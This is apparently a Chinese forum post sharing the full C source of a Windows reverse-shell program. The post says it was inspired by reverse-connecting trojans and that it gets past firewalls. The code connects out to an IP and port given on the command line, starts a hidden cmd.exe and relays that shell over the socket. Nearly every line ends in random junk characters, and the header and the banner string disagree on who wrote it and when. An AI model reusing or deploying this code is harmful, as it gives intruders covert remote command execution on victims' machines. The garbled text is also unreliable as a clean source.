这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [!E~pW%|n
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/* ============================== OM
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Rebound port in Windows NT haMt2S2_B:
By wind,2006/7 za@`,Yq
===============================*/ _fQBXG2
#include ; 'J{ylRQ
#include 9oA.!4q
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#pragma comment(lib,"wsock32.lib") '^Ce9r}
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void OutputShell(); 2KC~;5
SOCKET sClient; (J^2|9r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;l6tZ]-"
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void main(int argc,char **argv) xlWTHn!j
{ U
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WSADATA stWsaData; x9!vtrM\Zr
int nRet; Skd,=r
SOCKADDR_IN stSaiClient,stSaiServer; y~\K~qjd
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if(argc != 3) @7aSq-(_l*
{ L
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printf("Useage:\n\rRebound DestIP DestPort\n"); ~
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return; *qm@;!C
} s8<)lO<SV.
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WSAStartup(MAKEWORD(2,2),&stWsaData); .\>I-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8L7ZWw
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stSaiClient.sin_family = AF_INET; hup<U+p
stSaiClient.sin_port = htons(0); ?"[h P=3J
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I5J9,j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9}2E+
{ r%/*,lLO
printf("Bind Socket Failed!\n"); ^L1#
return; C,xM)V^a
} ?#LbhO*
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stSaiServer.sin_family = AF_INET; )R2BTE:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H `V3oS~}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (fjAsbT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /8SQmh$+e
{ i>C:C>~
printf("Connect Error!"); ;ip"V 0`
return; a!>yX
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} I!ykm\<
OutputShell(); bVc;XZwI
} |&t 2jD(
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void OutputShell() ^c{,QS{
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char szBuff[1024]; N'nqVYTU
SECURITY_ATTRIBUTES stSecurityAttributes; -/.Xf<y58
OSVERSIONINFO stOsversionInfo; ji[O?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _/_1:ivY8
STARTUPINFO stStartupInfo; ;$y(Tvd;
char *szShell; ec4jiE
PROCESS_INFORMATION stProcessInformation; 7lvUIc?krW
unsigned long lBytesRead; l ^*GqP5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?N,'1I
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E Cx_
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stSecurityAttributes.lpSecurityDescriptor = 0; <ealt
stSecurityAttributes.bInheritHandle = TRUE; K`nI$l7hg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6.Nu[-?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >a;^=5E
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .oq!Ys4KA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bqXCe\#
stStartupInfo.wShowWindow = SW_HIDE; AFWcTz6 #d
stStartupInfo.hStdInput = hReadPipe; Q)c$^YsI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xP.B,1\X
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GetVersionEx(&stOsversionInfo); >o=3RB=Fh
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switch(stOsversionInfo.dwPlatformId) W%f:+s}cI
{ s7CoUd2
case 1: \]U@=w
szShell = "command.com"; \*H/YByTb
break; dF{3~0+,
default: j[XA"DZR<
szShell = "cmd.exe"; 8z^?PZ/
break; K2TO,J3 E
} {R7>-Y[4)2
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ={?} [E
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send(sClient,szMsg,77,0); I72UkmK`
while(1) }ZEh^zdz8
{ q!k
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AF1";duA
if(lBytesRead) <R7*00
{ `)F lb|da
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w|x=^
send(sClient,szBuff,lBytesRead,0); z
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} UAT46
else _7YAF,@vT
{ C|Bk'<MI
lBytesRead=recv(sClient,szBuff,1024,0); zYdSg<[^
if(lBytesRead<=0) break; ~F*pV*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sB_o
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} !ZbNW4rIP
} U`JzE"ps]
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return; $V~r*#$.
}